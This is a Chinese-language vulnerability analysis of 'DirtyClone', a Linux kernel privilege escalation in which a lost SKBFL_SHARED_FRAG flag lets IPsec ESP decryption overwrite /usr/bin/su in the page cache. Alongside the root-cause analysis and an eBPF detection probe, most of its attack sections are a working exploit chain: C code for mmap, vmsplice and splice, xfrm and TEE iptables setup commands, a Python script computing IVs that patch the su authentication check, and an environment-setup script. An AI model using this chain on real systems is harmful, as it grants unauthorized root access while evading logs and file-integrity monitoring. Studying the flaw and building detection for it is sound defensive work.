目录


一、漏洞概述

CVE-2026-43503(CVSS 8.8),代号"DirtyClone"(脏克隆),是JFrog Security Research的研究员Eddy Tsalolikhin和Or Peles于2026年5月19日报告的一个Linux内核高危本地提权漏洞。该漏洞于2026年5月21日在Linux v7.1-rc5中修复。

DirtyClone的核心在于:当内核通过__pskb_copy_fclone()函数克隆网络数据包(sk_buff)时,会丢失SKBFL_SHARED_FRAG标志位。这个标志位的丢失打破了内核零拷贝路径中的一个关键安全假设——即附加到sk_buff上的页缓存页(page cache page)不应被原地修改。攻击者利用这一缺陷,通过精心构造的IPsec隧道与netfilter TEE规则,使ESP解密输出覆写页缓存中特权二进制文件(如/usr/bin/su)的内存副本,从而实现无痕提权。

该漏洞的危险性体现在三个维度:

  1. 任意非特权用户可获root:仅需非特权用户命名空间权限(现代发行版默认开启),即可完成完整利用链。
  2. 攻击无痕:磁盘上的二进制文件不变,仅修改页缓存中的内存副本。不留内核日志、不留审计记录,绕过AIDE和Tripwire等文件完整性监控工具。
  3. 修复链完整性强:作为DirtyFrag漏洞家族的第四个成员,必须完整应用4个CVE的修复才算真正安全,任何缺失都可能导致利用链重建。

二、DirtyFrag漏洞家族全景

2.1 家族成员对比

DirtyFrag漏洞家族源于同一个设计缺陷:在现代Linux内核中,文件支持内存(page cache)、网络缓冲区(sk_buff)和原地转换(in-place transform)三种内存角色会发生语义重叠,当这三种上下文交叉时,内核可能修改仍与文件语义关联的内存。

CVE编号 代号 漏洞函数 根因 报告日期 修复版本
CVE-2026-43284 (DirtyFrag基础) splice/UDP发送路径 vmsplice+splice将page cache页附加到skb,未标记为SHARED_FRAG 2026-04 v7.1-rc1
CVE-2026-43500 DirtyFrag UDP发送路径标志设置 splice的UDP包未正确设置SKBFL_SHARED_FRAG标志 2026-04 v7.1-rc1
CVE-2026-46300 Fragnesia skb coalescing路径 skb合并(coalescing)时丢失SKBFL_SHARED_FRAG标志 2026-05 v7.1-rc3
CVE-2026-43503 DirtyClone __pskb_copy_fclone() sk_buff克隆时丢失SKBFL_SHARED_FRAG标志 2026-05-19 v7.1-rc5

2.2 三种内存角色的交叉模型

DirtyFrag家族的核心攻击面在于现代内核设计中三种内存角色的语义重叠。下面的ASCII图展示了这一交叉关系:

                    ┌─────────────────────────────────────────────┐
                    │            现代内核内存角色交叉模型            │
                    └─────────────────────────────────────────────┘

    ┌──────────────────┐     ┌──────────────────┐     ┌──────────────────┐
    │  1. 文件支持内存   │     │  2. 网络缓冲区    │     │  3. 原地转换      │
    │  (Page Cache)    │     │  (sk_buff)       │     │ (In-place Xform) │
    │                  │     │                  │     │                  │
    │ - 可执行文件      │     │ - 网络包数据      │     │ - 加密/解密       │
    │ - 普通文件映射    │     │ - 零拷贝路径      │     │ - 压缩/解压       │
    │ - 进程间共享      │     │ - TX/RX队列       │     │ - 校验和计算      │
    └────────┬─────────┘     └────────┬─────────┘     └────────┬─────────┘
             │                        │                        │
             │   vmsplice+splice      │                        │
             │   (零拷贝附加)          │   IPsec ESP            │
             │                        │   (原地解密)            │
             ▼                        ▼                        ▼
     ╔═══════════════════════════════════════════════════════════════╗
     ║                                                               ║
     ║              ★ 语义重叠区 (Semantic Overlap)  ★              ║
     ║                                                               ║
     ║   同一个物理页同时承载三种语义:                                ║
     ║   ① 作为page cache页(文件语义)                                ║
     ║   ② 作为skb的frags数据(网络语义)                              ║
     ║   ③ 被原地解密覆写(转换语义)                                  ║
     ║                                                               ║
     ║   SKBFL_SHARED_FRAG标志本应阻止③的发生                       ║
     ║   DirtyFrag家族的4个CVE都是通过不同路径丢失该标志              ║
     ╚═══════════════════════════════════════════════════════════════╝

2.3 DirtyClone的独特路径

DirtyFrag家族的每个成员都找到了一条不同的标志丢失路径:

  • 原始DirtyFrag修复:为spliced UDP包设置SKBFL_SHARED_FRAG标志
  • Fragnesia:在skb coalescing(合并)过程中,合并后的新skb未继承该标志
  • DirtyClone:在__pskb_copy_fclone()克隆skb时,克隆体未复制该标志
原始DirtyFrag (CVE-2026-43284/43500)    Fragnesia (CVE-2026-46300)
        │                                       │
        ▼                                       ▼
  splice() → skb                          skb_coalesce() → merged_skb
  (修复: 设置SHARED_FRAG)                  (修复: 继承SHARED_FRAG)

          DirtyClone (CVE-2026-43503)
                  │
                  ▼
          __pskb_copy_fclone() → clone_skb
          (修复: 复制SHARED_FRAG)

DirtyClone的独特之处在于它利用了TEE netfilter规则触发的包复制路径。TEE规则会镜像网络流量到一个网关,这一镜像操作内部调用__pskb_copy_fclone()来克隆数据包,而克隆过程中SKBFL_SHARED_FRAG标志被丢弃。


三、Linux页缓存机制详解

3.1 页缓存工作原理

Linux页缓存(page cache)是内核用于缓存文件数据的内存区域。当进程访问文件时,内核不会每次都从磁盘读取,而是将文件内容缓存在物理内存页中,这些页被称为page cache页。

┌─────────────────────────────────────────────────────────────────┐
│                     页缓存映射关系                               │
└─────────────────────────────────────────────────────────────────┘

  进程A地址空间          物理内存(Page Cache)         磁盘
  ┌──────────┐          ┌──────────────┐          ┌──────────┐
  │          │  mmap    │              │ read/    │          │
  │ 0x7f0000 │────────▶│  Page Frame  │◀────────│ /usr/bin │
  │          │   映射   │  (PFN: 0x12) │  write   │   /su    │
  └──────────┘          │              │          │          │
                        │ [ELF header] │          └──────────┘
  进程B地址空间          │ [.text段  ]  │
  ┌──────────┐          │ [认证检查 ]  │◀── 仅修改此处内存
  │          │  mmap    │ [.data段  ]  │    (磁盘文件不变!)
  │ 0x7f1000 │────────▶│              │
  │          │   映射   └──────────────┘
  └──────────┘               ▲
                             │ 同一物理页
                       两个进程共享

3.2 为什么修改page cache可以影响进程执行

关键原理:当可执行文件被mmap到内存或被执行时,内核将文件的.text段映射到page cache页。多个执行同一二进制文件的进程共享这些page cache页。如果攻击者能修改page cache页的内容,那么:

  1. 新启动的进程会从被篡改的page cache页中加载代码
  2. 已在运行但尚未访问特定代码页的进程(通过按需分页/demand paging)在首次访问时会得到被篡改的页

这就是DirtyClone攻击的核心——它不需要修改磁盘文件,只需修改page cache中的内存副本,即可影响后续执行该二进制的进程的行为。

// 页缓存与进程执行的关系
// 当执行 /usr/bin/su 时:
// 1. 内核调用 do_execve()
// 2. ELF加载器将 .text 段 mmap 到进程地址空间
// 3. 这些映射指向 page cache 中的物理页
// 4. CPU执行指令时,从 page cache 页中读取指令
// 5. 如果 page cache 页被修改 → 执行的指令被修改!

// 关键: page cache 页是文件在内存中的唯一权威副本
// 所有通过MAP_SHARED映射或执行该文件的进程共享同一物理页

3.3 page cache的写回机制

正常情况下,对page cache页的修改会通过writeback机制写回磁盘。但DirtyClone攻击的特殊之处在于:

  1. 修改是通过网络解密路径(esp_input())完成的,绕过了正常的文件写路径
  2. 被修改的页是只读映射(PROT_READ | MAP_SHARED)的,没有关联写回操作
  3. ESP解密直接覆写物理页内容,不会触发mark_inode_dirty等写回标记

这意味着修改不会被写回磁盘,磁盘上的文件始终保持原始内容,实现了真正的"磁盘无痕"。


四、__pskb_copy_fclone()漏洞根因分析

4.1 函数逆向伪代码分析

__pskb_copy_fclone()是内核中用于克隆sk_buff的函数,它有两种克隆模式:fast clone(fclone)和普通clone。fclone通过预分配的shadow skb实现快速克隆。

// __pskb_copy_fclone() 简化伪代码(漏洞版本)
struct sk_buff *__pskb_copy_fclone(struct sk_buff *skb, int gfp_mask,
                                    bool fclone)
{
    struct sk_buff *n;
    int i;

    // 分配新的sk_buff结构
    n = __alloc_skb(skb->end - skb->head, gfp_mask, 0, NUMA_NO_NODE);
    if (!n)
        return NULL;

    // 复制sk_buff的元数据字段
    n->truesize     = skb->truesize;
    n->len          = skb->len;
    n->data_len     = skb->data_len;
    n->mac_len      = skb->mac_len;
    n->csum         = skb->csum;
    n->ip_summed    = skb->ip_summed;
    n->protocol     = skb->protocol;
    // ... 其他元数据字段复制 ...

    // 复制linear data区域
    skb_copy_from_linear_data(skb, n->data, skb_headlen(skb));

    // ★ 漏洞核心区域: frags 和 frag_list 的复制 ★
    for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {
        skb_shinfo(n)->frags[i] = skb_shinfo(skb)->frags[i];
        // 获取frags中页的引用 (get_page)
        get_page(skb_shinfo(n)->frags[i].page);
    }
    skb_shinfo(n)->nr_frags = i;

    // 复制 frag_list (GSO/分片)
    if (skb_shinfo(skb)->frag_list) {
        skb_shinfo(n)->frag_list = skb_shinfo(skb)->frag_list;
        // ... 引用计数处理 ...
    }

    // ★★★ 漏洞所在: flags 字段未被完整复制 ★★★
    // 漏洞版本中,shinfo->flags 的 SHARED_FRAG 位未复制到克隆体
    // skb_shinfo(n)->flags = skb_shinfo(skb)->flags;  // 这行缺失!
    
    // 仅复制了部分flags
    skb_shinfo(n)->flags = skb_shinfo(skb)->flags & SKBFL_KEEPCLONE;
    // SHARED_FRAG 不在 SKBFL_KEEPCLONE 掩码中 → 被丢弃!

    return n;
}

4.2 SKBFL_SHARED_FRAG标志的作用

SKBFL_SHARED_FRAG标志位存在于skb_shared_info结构的flags字段中。它的语义是:当前skb的frags数组中包含的页是"共享页"(shared frag),即这些页与文件语义(page cache)关联,不应被原地修改。

// 内核中的标志定义 (include/linux/skbuff.h)
#define SKBFL_SHARED_FRAG  (1 << 0)   // frags中包含共享页(page cache关联)
#define SKBFL_PURE_FRAG    (1 << 1)
#define SKBFL_KEEPCLONE    (1 << 2)   // 克隆时需保留的标志位

// 标志检查的安全逻辑:
// 当内核需要原地修改skb数据时(如IPsec解密), 会检查该标志:
static inline int skb_has_shared_frag(const struct sk_buff *skb)
{
    return skb_shinfo(skb)->flags & SKBFL_SHARED_FRAG;
}

// 在 esp_input() 等原地转换路径中:
if (skb_has_shared_frag(skb)) {
    // 安全路径: 先copy frag页再修改 (COW - 写时复制)
    err = skb_ensure_writable(skb, ...);
    if (err)
        return err;
    // 此时会将共享页复制为新页, 避免修改page cache
}
// 如果标志丢失 → 不会执行COW → 直接原地修改 → 覆写page cache!

4.3 标志丢失的完整路径时间轴

下图展示了从攻击者发送数据包到标志丢失、再到page cache被覆写的完整时间轴:

时间轴: DirtyClone标志丢失与利用路径
═══════════════════════════════════════════════════════════════════

[T0] 攻击者: vmsplice + splice 将 /usr/bin/su 的 page cache 页
              附加到 skb 的 frags 数组
              │
              │  skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG  ✓ 标志已设置
              ▼
[T1] 攻击者: 发送 UDP 包到 127.0.0.1:4500 (IPsec NAT-T 端口)
              │
              │  包通过本地网络栈 (loopback)
              ▼
[T2] Netfilter: iptables mangle OUTPUT 链匹配
              iptables -t mangle -A OUTPUT -p udp --dport 4500 -j TEE --gateway 10.99.0.2
              │
              │  TEE target 触发包镜像
              ▼
[T3] TEE处理: 调用 __pskb_copy_fclone() 克隆数据包
              │
              │  ★ 漏洞触发点 ★
              │  clone_skb = __pskb_copy_fclone(skb, ...)
              │  克隆过程中: flags & SKBFL_KEEPCLONE → SHARED_FRAG 被丢弃!
              │  clone_skb->shinfo->flags 中没有 SHARED_FRAG  ✗ 标志丢失!
              ▼
[T4] 克隆包路由: 克隆包被发送到 gateway 10.99.0.2 (即自身loopback)
              │
              │  回环到本机的 IPsec 入站处理
              ▼
[T5] IPsec入站: esp_input() 处理克隆包
              │
              │  检查 skb_has_shared_frag(clone_skb) → FALSE (标志已丢失!)
              │  → 不执行 COW (写时复制)
              │  → 直接原地解密
              ▼
[T6] ESP解密: AES-CBC 解密输出写入 skb 的 frags 页
              │
              │  这些 frags 页实际指向 /usr/bin/su 的 page cache 页!
              │  解密输出 = 攻击者精心计算的IV控制的明文
              ▼
[T7] Page Cache被覆写: /usr/bin/su 的认证检查指令被修改
              │
              │  磁盘文件不变! 仅 page cache 内存副本被修改!
              ▼
[T8] 提权: 攻击者执行 /usr/bin/su
              │
              │  内核从被篡改的 page cache 页加载指令
              │  认证检查被绕过 → 直接获得 root shell
              ▼
           [ROOT SHELL]

五、完整利用链7步深度分析

5.1 利用链总览

┌─────────────────────────────────────────────────────────────────────┐
│              DirtyClone 完整利用链数据流 (7步)                      │
└─────────────────────────────────────────────────────────────────────┘

  ┌─────────────┐
  │ Step 1:     │     mmap /usr/bin/su → page cache
  │ 映射特权文件 │     (将目标二进制文件的页加载到page cache)
  └──────┬──────┘
         │
         ▼
  ┌─────────────┐
  │ Step 2:     │     vmsplice(pipe) + splice(socket) 零拷贝
  │ 零拷贝附加   │     (将page cache页附加到skb frags)
  └──────┬──────┘
         │
         ▼
  ┌─────────────┐
  │ Step 3:     │     IPsec隧道配置 (loopback ESP transport)
  │ IPsec隧道   │     (包保持在本地, 到达ESP解密阶段)
  └──────┬──────┘
         │
         ▼
  ┌─────────────┐
  │ Step 4:     │     TEE netfilter 触发 __pskb_copy_fclone()
  │ 标志丢失     │     (克隆时丢失SKBFL_SHARED_FRAG)
  └──────┬──────┘
         │
         ▼
  ┌─────────────┐
  │ Step 5:     │     esp_input() 原地解密
  │ ESP原地解密  │     (解密输出写入page cache页)
  └──────┬──────┘
         │
         ▼
  ┌─────────────┐
  │ Step 6:     │     AES-CBC IV计算 → 可控写入
  │ 可控写入     │     (精确覆写认证检查指令)
  └──────┬──────┘
         │
         ▼
  ┌─────────────┐
  │ Step 7:     │     执行 /usr/bin/su → root
  │ 提权执行     │     (从被篡改的page cache加载指令)
  └─────────────┘

5.2 Step 1: 映射特权二进制文件到page cache

第一步的目标是将目标特权二进制文件(如/usr/bin/su)的相关页加载到page cache中。攻击者需要确定要修改的"patch offset"——即认证检查指令在文件中的偏移量。

// Step 1: 映射 /usr/bin/su 到 page cache
#define TARGET_BINARY "/usr/bin/su"

// 首先确定要修补的偏移量
// 通常 su 的认证检查是一个类似如下的序列:
//   call <pam_authenticate>
//   test eax, eax
//   jnz <auth_failed>       ← 将此 jnz 改为 jmp (无条件跳过) 或 nop
// 攻击者通过反汇编确定此偏移

size_t patch_offset = 0x4a3c;  // 示例: 认证检查跳转指令的偏移
size_t mmap_size = 0x1000;     // 一个页大小

int fd = open(TARGET_BINARY, O_RDONLY);
if (fd < 0) {
    perror("open");
    exit(1);
}

// MAP_SHARED 映射 → 映射到 page cache 页
// PROT_READ → 只读映射, 不触发写时复制
char *p = mmap(NULL, mmap_size, PROT_READ, MAP_SHARED, fd, patch_offset & ~0xfff);
if (p == MAP_FAILED) {
    perror("mmap");
    exit(1);
}

// 此时 /usr/bin/su 的对应页已在 page cache 中
// p 指向的虚拟地址映射到 page cache 的物理页
// 后续 vmsplice 将使用这个映射

5.3 Step 2: vmsplice + splice 零拷贝附加

这是利用链中最精妙的一步。vmsplice和splice系统调用实现了真正的零拷贝——数据从不离开内核空间,page cache的物理页直接被附加到sk_buff的frags数组中。

// Step 2: vmsplice + splice 将 page cache 页附加到网络包

int pipefd[2];
int sockfd;

// 创建管道 (splice的中转)
pipe(pipefd);

// 创建UDP socket (目标为IPsec NAT-T端口4500)
sockfd = socket(AF_INET, SOCK_DGRAM, 0);

struct sockaddr_in dst = {
    .sin_family = AF_INET,
    .sin_port = htons(4500),       // IPsec NAT-T 端口
    .sin_addr.s_addr = htonl(INADDR_LOOPBACK),  // 127.0.0.1
};

// ★ vmsplice: 将用户空间映射的page cache页"灌入"管道 ★
// 关键: iov指向mmap返回的地址, 该地址映射到page cache物理页
// vmsplice通过get_user_pages获取这些物理页的引用
// 不复制数据! 只传递物理页引用!
struct iovec iov = {
    .iov_base = p + (patch_offset & 0xfff),  // 指向patch位置的虚拟地址
    .iov_len = 16,                            // 16字节 (一个AES块大小)
};
ssize_t ret = vmsplice(pipefd[1], &iov, 1, 0);
// 现在 pipefd[1] 的内核缓冲区引用了 page cache 的物理页

// ★ splice: 将管道中的页引用转移到socket ★
// splice内部调用 udp_sendmsg → ubs_send_skb
// 这些page cache页被附加到skb的frags数组
// SKBFL_SHARED_FRAG 标志被设置 (原始DirtyFrag修复)
ret = splice(pipefd[0], NULL, sockfd, NULL, 16, 0);
// 内核创建的skb: skb_shinfo(skb)->frags[0].page = page cache页
//                skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG  ✓

// 此skb被发送到127.0.0.1:4500
// 但frags中引用的物理页就是 /usr/bin/su 的page cache页!

零拷贝的内存关系图:

  用户空间              内核空间                 物理内存
  ┌──────────┐    ┌──────────────────┐    ┌──────────────┐
  │ mmap返回 │    │  pipe buffer     │    │              │
  │ 虚拟地址  │    │  ┌────────────┐  │    │ Page Cache   │
  │ 0x7f...  │───▶│  │  page ptr  │──┼───▶│ 物理页       │
  └──────────┘    │  └────────────┘  │    │ (PFN: 0x12)  │
       │          └────────┬─────────┘    │              │
       │                   │ splice       │ [su认证检查] │
       │                   ▼              │              │
       │          ┌──────────────────┐    └──────┬───────┘
       │          │  sk_buff         │           │
       │          │  shinfo->frags[0]│───────────┘
       │          │  .page = PFN 0x12│    (同一物理页!)
       │          │  flags |= SHARED_│
       │          │         FRAG     │
       │          └──────────────────┘
       │
  磁盘: /usr/bin/su  (文件内容不变)

5.4 Step 3: 创建loopback-based IPsec隧道

攻击者创建一个本地的IPsec ESP隧道,使数据包保持在本地进行解密。通过unshare -Urn创建用户命名空间,可获得CAP_NET_ADMIN权限来配置XFRM(IPsec框架)。

# Step 3: IPsec隧道配置 (在用户命名空间中执行)

# 创建用户+网络命名空间, 获取CAP_NET_ADMIN
unshare -Urn

# 启用loopback
ip link set lo up
ip addr add 10.99.0.2/24 dev lo

# 创建XFRM SA (Security Association) - ESP transport模式
# 攻击者完全控制密钥材料!
ip xfrm state add \
    src 127.0.0.1 dst 127.0.0.1 \
    proto esp spi 0x12345678 reqid 1 mode transport \
    enc 'cbc(aes)' 0xaabbccddeeff00112233445566778899 \
    auth 'hmac(sha1)' 0x0102030405060708090a0b0c0d0e0f10111213

# 创建XFRM Policy - 匹配loopback流量
ip xfrm policy add \
    src 127.0.0.1 dst 127.0.0.1 dir out \
    tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport

# 入站方向也需要policy
ip xfrm policy add \
    src 127.0.0.1 dst 127.0.0.1 dir in \
    tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport

5.5 Step 4: TEE触发包克隆与标志丢失

TEE是netfilter的一个target,用于镜像(复制)网络流量到指定网关。当攻击者的UDP包到达OUTPUT链的TEE规则时,TEE会克隆该包并发送到指定网关(这里配置为自身loopback地址)。

# TEE规则: 镜像UDP 4500端口的包到10.99.0.2(自身)
iptables -t mangle -A OUTPUT -p udp --dport 4500 -j TEE --gateway 10.99.0.2
TEE克隆路径的标志丢失:

  原始skb (有SHARED_FRAG标志)
       │
       │  TEE target: tg_route / skb_copy
       │  内部调用 __pskb_copy_fclone()
       ▼
  克隆skb (★ SHARED_FRAG标志丢失 ★)
       │
       │  路由到 10.99.0.2 (loopback回环)
       ▼
  本机IPsec入站处理 (esp_input)
       │
       │  skb_has_shared_frag(clone) → FALSE
       │  → 不执行COW → 直接原地解密!
       ▼
  page cache页被覆写

5.6 Step 5: ESP原地解密覆写page cache

当克隆包到达esp_input()时,由于SKBFL_SHARED_FRAG标志已丢失,内核认为frags中的页是私有的,可以安全地原地修改。于是ESP解密输出直接写入frags引用的物理页——而这个物理页正是/usr/bin/su的page cache页。

// esp_input() 简化逻辑 (net/ipv4/esp4.c)

static int esp_input(struct xfrm_state *x, struct sk_buff *skb)
{
    // ... 提取ESP头部, 获取SA信息 ...
    
    // ★ 关键检查: 是否需要COW (写时复制) ★
    // 如果skb有共享frags, 需要先复制再修改
    if (skb_has_shared_frag(skb)) {
        // 安全路径: 复制frags页, 修改副本
        err = skb_ensure_writable(skb, skb->len);
        if (err)
            return err;
        // 此后修改的是新页, 不影响page cache
    }
    // 如果标志丢失 → 跳过COW → 直接原地解密!

    // ★ 原地解密: AES-CBC ★
    // 解密输出写入 skb->data 和 frags 指向的物理页
    // 由于frags指向page cache页 → page cache被覆写!
    sg_init_table(sg, nfrags);
    skb_to_sgvec(skb, sg, ...);  // sg指向frags的物理页
    
    aead_request_set_crypt(req, sg, sg, ..., iv);  // IV来自ESP包
    crypto_aead_decrypt(req);  // ★ 解密输出写入page cache页! ★
    
    // 此时 /usr/bin/su 的page cache页已被修改
    return 0;
}

5.7 Step 6: AES-CBC可控写入

这一步是利用链的数学核心。攻击者通过控制AES-CBC的密钥(SA配置)、IV(每包ESP IV)和包布局,将解密操作转化为对page cache的精确可控写入。详见第六节。

5.8 Step 7: 执行su提权

// Step 7: 执行被篡改的 /usr/bin/su
// page cache中的认证检查指令已被修改
// 例如: jnz (认证失败跳转) → nop 或 jmp (跳过检查)

system("/usr/bin/su -");  // 直接获得root shell, 无需密码!

由于page cache已被修改,内核在执行/usr/bin/su时,从被篡改的page cache页中加载指令,认证检查被绕过,攻击者直接获得root权限。


六、AES-CBC写入原语

6.1 AES-CBC解密原理

AES-CBC(Cipher Block Chaining)模式的解密过程中,每个密文块先通过AES块解密,然后与前一个密文块(或IV)异或,得到明文块。

AES-CBC解密公式:
  P_i = D_K(C_i) XOR C_{i-1}    (i > 0)
  P_0 = D_K(C_0) XOR IV          (第一个块)

其中:
  D_K = AES块解密函数 (密钥K)
  C_i = 第i个密文块
  P_i = 第i个明文块
  IV  = 初始化向量

6.2 IV控制实现可控写入

攻击者控制的关键变量:

  1. AES密钥K:通过SA(Security Association)配置完全控制
  2. IV:ESP包中每包独立指定,攻击者完全控制
  3. 密文C_i:通过构造原始UDP包内容控制
  4. 原始明文P_original:/usr/bin/su在该偏移处的原始字节(可通过读取文件获得)

攻击者的目标是使解密输出等于目标字节P_target(修改后的指令)。

攻击者的目标:
  D_K(C_0) XOR IV = P_target
  
已知:
  原始明文: P_original = D_K(C_0) XOR IV_original
  
推导:
  D_K(C_0) = P_original XOR IV_original
  
代入目标:
  P_target = (P_original XOR IV_original) XOR IV_new
  
求解IV_new:
  IV_new = P_target XOR P_original XOR IV_original
  
  或更简洁地:
  IV_new = IV_original XOR P_original XOR P_target

这意味着攻击者只需计算IV_new = IV_original XOR (原始字节 XOR 目标字节),就能使ESP解密输出精确地等于目标字节,实现对page cache的可控写入。

6.3 IV计算Python脚本

#!/usr/bin/env python3
"""
DirtyClone AES-CBC IV计算脚本
计算ESP解密所需的IV, 使解密输出等于目标字节
"""

import struct

def compute_attack_iv(iv_original, original_bytes, target_bytes):
    """
    计算攻击IV
    
    参数:
        iv_original: 原始ESP包的IV (16字节)
        original_bytes: page cache中该位置的原始字节 (16字节, 一个AES块)
        target_bytes: 想要写入的目标字节 (16字节, 一个AES块)
    
    返回:
        attack_iv: 使解密输出=target_bytes的IV (16字节)
    
    原理:
        AES-CBC解密: P = D_K(C) XOR IV
        原始: P_original = D_K(C) XOR IV_original
        目标: P_target   = D_K(C) XOR IV_attack
        => D_K(C) = P_original XOR IV_original
        => IV_attack = P_target XOR D_K(C)
                     = P_target XOR P_original XOR IV_original
                     = IV_original XOR P_original XOR P_target
    """
    assert len(iv_original) == 16, "IV must be 16 bytes"
    assert len(original_bytes) == 16, "original must be 16 bytes (1 AES block)"
    assert len(target_bytes) == 16, "target must be 16 bytes (1 AES block)"
    
    attack_iv = bytearray(16)
    for i in range(16):
        attack_iv[i] = iv_original[i] ^ original_bytes[i] ^ target_bytes[i]
    
    return bytes(attack_iv)


def patch_jnz_to_nop(original_bytes):
    """
    将认证检查的 jnz 指令修补为 nop
    示例: x86_64
    
    原始指令 (jnz auth_failed):
        0F 85 XX XX XX XX   (6字节 jnz near)
    
    修补为 nop:
        90 90 90 90 90 90   (6字节 nop)
    
    其余字节保持不变
    """
    target = bytearray(original_bytes)
    # 假设jnz在块起始位置
    target[0] = 0x90  # nop
    target[1] = 0x90  # nop
    target[2] = 0x90  # nop
    target[3] = 0x90  # nop
    target[4] = 0x90  # nop
    target[5] = 0x90  # nop
    return bytes(target)


# ============ 示例用法 ============
if __name__ == "__main__":
    # 原始ESP IV (从ESP包头部提取)
    iv_original = bytes.fromhex("deadbeefcafebabe1234567890abcdef")
    
    # 从 /usr/bin/su 读取 patch_offset 处的原始16字节
    # 假设通过反汇编得知:
    original_bytes = bytes.fromhex(
        "0f850a000000"     # jnz +0xa (认证失败跳转)
        "488b45e8"         # mov rax, [rbp-0x18]
        "48"               # (部分下一条指令)
    )
    
    # 计算目标字节 (将jnz改为nop)
    target_bytes = patch_jnz_to_nop(original_bytes)
    
    # 计算攻击IV
    attack_iv = compute_attack_iv(iv_original, original_bytes, target_bytes)
    
    print(f"原始IV:       {iv_original.hex()}")
    print(f"原始字节:     {original_bytes.hex()}")
    print(f"目标字节:     {target_bytes.hex()}")
    print(f"攻击IV:       {attack_iv.hex()}")
    
    # 验证: IV_original XOR original XOR target 应等于 attack_iv
    verify = bytearray(16)
    for i in range(16):
        verify[i] = iv_original[i] ^ original_bytes[i] ^ target_bytes[i]
    assert verify == bytearray(attack_iv), "验证失败!"
    print("\n[+] IV计算验证通过!")
    print(f"[+] 使用此IV的ESP包解密后, page cache将写入目标字节")

6.4 多块写入

如果需要修改的代码跨越多个AES块(每块16字节),攻击者需要对每个块独立计算IV。由于CBC模式中每个块的解密独立使用对应的IV,多块写入只需为每块计算独立的攻击IV。


七、无痕性分析

7.1 磁盘文件不变

DirtyClone的无痕性根源在于修改路径完全绕过了文件系统写路径:

操作路径 是否修改磁盘 是否修改page cache
正常文件写入(write) 是(writeback) 是
mmap+memcpy写入 是(writeback) 是
DirtyClone(ESP解密) 否 是

ESP解密通过crypto_aead_decrypt()直接覆写frags指向的物理页,这一路径:

  • 不经过VFS(虚拟文件系统)层
  • 不调用mark_inode_dirty()(不标记inode为脏)
  • 不加入inode的脏页列表
  • 因此writeback线程永远不会将其写回磁盘

7.2 文件完整性监控失效

┌─────────────────────────────────────────────────────────────┐
│           为什么 AIDE / Tripwire 检测不到 DirtyClone         │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  AIDE/Tripwire 的工作原理:                                  │
│    1. 定期扫描磁盘上的文件                                   │
│    2. 计算文件的哈希值 (SHA256/MD5等)                       │
│    3. 与基线数据库中的哈希值比较                             │
│    4. 哈希不匹配 → 报警                                     │
│                                                             │
│  DirtyClone的修改:                                          │
│    - 仅修改 page cache (内存)                               │
│    - 磁盘文件内容完全不变                                   │
│    - AIDE读取文件 → 内核从磁盘/干净page cache读取           │
│    - ★ AIDE计算的哈希 = 原始文件哈希 → 不报警! ★           │
│                                                             │
│  注意: AIDE读取文件时, 如果page cache已被修改:              │
│    - read() 系统调用从 page cache 读取 → 会读到修改后内容!  │
│    - 但AIDE通常在攻击者提权后已无法信任                      │
│    - 且攻击者可在提权后修复page cache (重新mmap+读取磁盘)    │
│                                                             │
└─────────────────────────────────────────────────────────────┘

7.3 无内核日志与审计记录

DirtyClone利用过程中不触发任何内核日志或审计记录:

  1. 不触发dmesg日志:正常网络包处理和IPsec解密是常规操作,不产生警告
  2. 不触发auditd记录:未执行敏感系统调用(如ptrace、setuid)
  3. 不触发SELinux/AppArmor审计:所有操作在授权的命名空间内进行

7.4 检测方法

内存取证(Volatility)

通过内存转储分析page cache页与磁盘文件的差异:

# 使用 Volatility 进行 page cache 取证
# 1. 获取内存转储
volatility -f memory.dmp linux_pagecache_scan

# 2. 对比 page cache 中的 /usr/bin/su 与磁盘版本
# 如果 page cache 哈希 ≠ 磁盘哈希 → 检测到 DirtyClone 篡改!

# LiME (Linux Memory Extractor) 获取内存:
insmod lime.ko "path=/tmp/mem.lime format=lime"

eBPF内核监控

使用eBPF监控ESP解密路径对frags页的修改:

// eBPF 检测程序: 监控 esp_input 对共享页的修改
// 文件: detect_dirtyclone.bpf.c

#include "vmlinux.h"
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_helpers.h>

// 跟踪 crypto_aead_decrypt 调用, 检查skb是否有shared frag
SEC("kprobe/crypto_aead_decrypt")
int BPF_KPROBE(detect_dirtyclone, struct aead_request *req)
{
    struct sk_buff *skb = (struct sk_buff *)req->base.data;
    
    // 检查skb是否来自网络栈 (而非本地加密)
    if (!skb || !skb->dev)
        return 0;
    
    // 检查frags中的页是否属于page cache
    struct skb_shared_info *shinfo = skb_shinfo(skb);
    
    #pragma unroll
    for (int i = 0; i < shinfo->nr_frags && i < MAX_FRAGS; i++) {
        struct page *page = skb_frag_page(&shinfo->frags[i]);
        if (page && PageMapping(page)) {
            // frags中的页属于page cache → 可疑!
            // 进一步检查是否缺少SHARED_FRAG标志
            if (!(shinfo->flags & SKBFL_SHARED_FRAG)) {
                // ★ 检测到DirtyClone! ★
                // frags引用page cache页但缺少SHARED_FRAG标志
                bpf_trace_printk("DIRTYCLONE: skb %p frag %d "
                                "page_cache page without SHARED_FRAG!\n",
                                skb, i);
                // 触发告警
            }
        }
    }
    return 0;
}

char _license[] SEC("license") = "GPL";

八、利用环境搭建与PoC框架

8.1 完整环境配置脚本

#!/bin/bash
# DirtyClone 利用环境配置脚本
# 在用户命名空间中执行 (unshare -Urn)

set -e

echo "[*] 配置网络命名空间..."
ip link set lo up
ip addr add 10.99.0.2/24 dev lo

echo "[*] 配置IPsec ESP SA (transport模式)..."
# AES-CBC密钥和HMAC-SHA1密钥由攻击者控制
ip xfrm state add \
    src 127.0.0.1 dst 127.0.0.1 \
    proto esp spi 0x12345678 reqid 1 mode transport \
    enc 'cbc(aes)' 0xaabbccddeeff00112233445566778899 \
    auth 'hmac(sha1)' 0x0102030405060708090a0b0c0d0e0f10111213

echo "[*] 配置IPsec Policy..."
ip xfrm policy add src 127.0.0.1 dst 127.0.0.1 dir out \
    tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport
ip xfrm policy add src 127.0.0.1 dst 127.0.0.1 dir in \
    tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport

echo "[*] 配置TEE netfilter规则..."
